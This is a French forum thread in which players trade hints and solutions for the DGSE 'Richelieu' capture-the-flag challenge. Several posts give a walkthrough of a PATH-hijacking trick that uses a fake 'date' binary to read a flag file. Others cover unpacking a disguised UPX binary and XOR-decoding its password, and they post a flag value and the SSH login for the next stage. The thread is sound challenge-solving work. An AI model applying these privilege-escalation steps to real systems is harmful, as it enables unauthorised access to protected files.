Le 27 mai 2019 à 11:20:35 Bugsfunny0 a écrit :
Il y en a parmi vous qui sont sur le prog.bin avec le gdb ?
j y suis arrive hier soir. J'ai regarde vite fait, je pense qu'il faut detourner l'execution d'un syscall vers chmod avec GDB, en settant les bon registres EAX ect...
Quelqu'un sait combien de defi il y a en tout ?
Le 27 mai 2019 à 14:46:54 _jason_ a écrit :
Le 27 mai 2019 à 11:20:35 Bugsfunny0 a écrit :
Il y en a parmi vous qui sont sur le prog.bin avec le gdb ?j y suis arrive hier soir. J'ai regarde vite fait, je pense qu'il faut detourner l'execution d'un syscall vers chmod avec GDB, en settant les bon registres EAX ect...
Quelqu'un sait combien de defi il y a en tout ?
C'est plus simple que ça pour le defi1
Je pensais qu'il fallait débugguer ou tracer le prog avec gdb pour pouvoir récupérer le .txt d'une manière ou d'une autre. chmod, scp,... Mais je ne connais pas du tout gdb et jemanque de temps pour me taper la doc. L'air de rien, il faut aussi que je bosse en parallèle...
Le 27 mai 2019 à 16:14:24 Bugsfunny0 a écrit :
Je pensais qu'il fallait débugguer ou tracer le prog avec gdb pour pouvoir récupérer le .txt d'une manière ou d'une autre. chmod, scp,... Mais je ne connais pas du tout gdb et jemanque de temps pour me taper la doc. L'air de rien, il faut aussi que je bosse en parallèle...
Comme nous tous mon cher amis .
Peut etre que les agents de la DGSE sur ce topic peuvent nous obtenir des congés payés jusqu'à la fin du défi?
Le défi 2 est un peu tricky
Le 27 mai 2019 à 16:34:50 jahb-le-hut1 a écrit :
Le 27 mai 2019 à 16:14:24 Bugsfunny0 a écrit :
Je pensais qu'il fallait débugguer ou tracer le prog avec gdb pour pouvoir récupérer le .txt d'une manière ou d'une autre. chmod, scp,... Mais je ne connais pas du tout gdb et jemanque de temps pour me taper la doc. L'air de rien, il faut aussi que je bosse en parallèle...Peut etre que les agents de la DGSE sur ce topic peuvent nous obtenir des congés payés jusqu'à la fin du défi?
En voilà, une bonne idée. C'est super intéressant ceci dit mais chronophage. Malheureusement je vais devoir abandonner juste par manque de temps. Même si à un moment ou à un autre, j'aurais bloqué techniquement également.
Amusez vous bien à continuer, vous avez de la chance.
Le 27 mai 2019 à 16:51:17 Bugsfunny0 a écrit :
Le 27 mai 2019 à 16:34:50 jahb-le-hut1 a écrit :
Le 27 mai 2019 à 16:14:24 Bugsfunny0 a écrit :
Je pensais qu'il fallait débugguer ou tracer le prog avec gdb pour pouvoir récupérer le .txt d'une manière ou d'une autre. chmod, scp,... Mais je ne connais pas du tout gdb et jemanque de temps pour me taper la doc. L'air de rien, il faut aussi que je bosse en parallèle...Peut etre que les agents de la DGSE sur ce topic peuvent nous obtenir des congés payés jusqu'à la fin du défi?
En voilà, une bonne idée. C'est super intéressant ceci dit mais chronophage. Malheureusement je vais devoir abandonner juste par manque de temps. Même si à un moment ou à un autre, j'aurais bloqué techniquement également.
Amusez vous bien à continuer, vous avez de la chance.
T'inquietes on va dump la suite au fur et à mesure.
Juste trouver le mdp dans le .exe m'a pris mon Samedi
J'avais pas fais d'Assembleur depuis des lustres
Possible d'avoir un indice plus précis que symlink pour le défi1 ? Ca aurait un rapport avec /usr/games/LS ? Mon intuition était de le modifier mais pas moyen :/
Pour le defi 1 :
- Lancez le programme sous gdb.
- Tapez run, puis 1 par exemple -> process XX is executing new program: /bin/date
On voit qu'il call un binaire.
On va donc essayer de faire créer notre propre binaire et le lui faire exécuter en lieu et place du /bin/date.
On écrit un programme à l'arrache qui va se contenter de cat le drapeau.txt :
main.c
On le compile avec :
gcc main.c -o date
On réecrit l'ENV pour qu'il aille chercher notre exécutable à la place du /bin/date :
export PATH=/home/defi1:$PATH
On lance le ./prog.bin
- 1
Suite du challenge Richelieu :
ssh defi2.challengecybersec.fr -l defi2 -p 2222
mot de passe : DGSE{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
Le 27 mai 2019 à 17:01:12 0x2a a écrit :
Pour le defi 1 :- Lancez le programme sous gdb.
- Tapez run, puis 1 par exemple -> process XX is executing new program: /bin/dateOn voit qu'il call un binaire.
On va donc essayer de faire créer notre propre binaire et le lui faire exécuter en lieu et place du /bin/date.On écrit un programme à l'arrache qui va se contenter de cat le drapeau.txt :
main.c
- include <stdlib.h>
- void main()
- {
- system("cat drapeau.txt");
- }
On le compile avec :
gcc main.c -o date
On réecrit l'ENV pour qu'il aille chercher notre exécutable à la place du /bin/date :
export PATH=/home/defi1:$PATH
On lance le ./prog.bin
- 1
Suite du challenge Richelieu :
ssh defi2.challengecybersec.fr -l defi2 -p 2222
mot de passe : DGSE{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
bordel fallait y penser, j me suis fait chier pour rien
ben c'est ce que j'avais fait pourtant, ça n'a pas marché ^^ ok je recommence
Merci !
Mon dieu c'était si simple... Faut y penser cela dit
Merci !
ça fonctionne mais ya beaucoup plus simple... un simple export PATH pour détourner par exemple le train (sl dans game) avec un script à la con sans shebang (pas de #!/bin/bash au début) juste une ligne cat drapeau.txt
Je capte rien
Vous êtes partis sur quoi pour le défi2 ? (promis après j'arrête de demander haha)
Le 26 mai 2019 à 20:11:33 Eklips12345 a écrit :
up, j'arrive jsuis impressionné par le forumLe 26 mai 2019 à 19:55:02 Fabdulab a écrit :
Le 26 mai 2019 à 19:52:54 jahb-le-hut1 a écrit :
Le 26 mai 2019 à 19:48:08 doritos75 a écrit :
Le 26 mai 2019 à 19:45:15 jahb-le-hut1 a écrit :
> Le 26 mai 2019 à 19:39:32 doritos75 a écrit :
>> Le 26 mai 2019 à 19:35:05 jahb-le-hut1 a écrit :
> >Google -> lsb-toolkit puis executer lsb-extract.py. Pour les params : RGB et bit 0.
> > Vous avez le bon binaire en 1 ligne. Ensuite il faut clean le binaire comme expliqué precedemment, je l'ai fait avec la commande awk.
> >
> > Finalement, xxd permet d'avoir un executable compressé. On le decompresse avec UPX (c'est indiqué dans le fichier bianaire a la fin).
>
> Quelqu'un a-t-il trouvé le mot de passe demandé par l'exécutable ?
Kdo les clés à molette : DGSE{g456@g5112bgyfMnbVXw.llM}
Merci @jahb-le-hut1, par quoi est-ce que tu es passé pour le retrouver ?
J'ai run le .exe avec un debuger pour voir ou etait testé le mot de passe caractere par caractere
J'ai essayé avec gdb et c'était impossible... T'as fait comment ?
comment a t'il fait? je retrouve rien non plus avec gdb ou autre
Le bin est un UPX, mais les occurences hexa "UPX" ont été simplement remplacées par "ADL".
Remplace par "UPX" et tu pourras l'unpack avec upx.exe
Tu pourras trouver l'addresse memoire avec strings des data comme "Bravo! ..." ou "mauvais mot de passe"
Ensuite avec GDB ca sera plus simple de debugger, il donne en argument ton mot de passe a une petite routine asm qui XOR chaque charactere avec un array de bytes planques dans l'exe pour le comparer avec ton mot de passe. Suffit de faire l'inverse, donc un XOR!
Une fois la routine ASM trouvée il est pas tres complique d'en comprendre la logique sans etre un crack en ASM
Sinon, Ghidra est un très bon outil développé par la NSA :
https://ghidra-sre.org/
Le 27 mai 2019 à 18:45:57 ]-0-[ a écrit :
Sinon, Ghidra est un très bon outil développé par la NSA :
https://ghidra-sre.org/
merci! s'il decompile l'ASM c'est magique
punaise ils ont bourré le fs
Plus possible de faire grand chose:(
defi2@AttrapeLeDrapeau:~$ mkdir toto
mkdir: cannot create directory 'toto': No space left on device
defi2@AttrapeLeDrapeau:/var/log/apt$ df -h
Filesystem Size Used Avail Use% Mounted on
overlay 40G 39G 0 100% /
tmpfs 64M 0 64M 0% /dev
tmpfs 16G 0 16G 0% /sys/fs/cgroup
/dev/md1 40G 39G 0 100% /etc/hosts
shm 64M 0 64M 0% /dev/shm
tmpfs 16G 0 16G 0% /proc/acpi
tmpfs 16G 0 16G 0% /sys/firmware
Pour passer l'épreuve ça sent le passage en force par buffer overflow non ?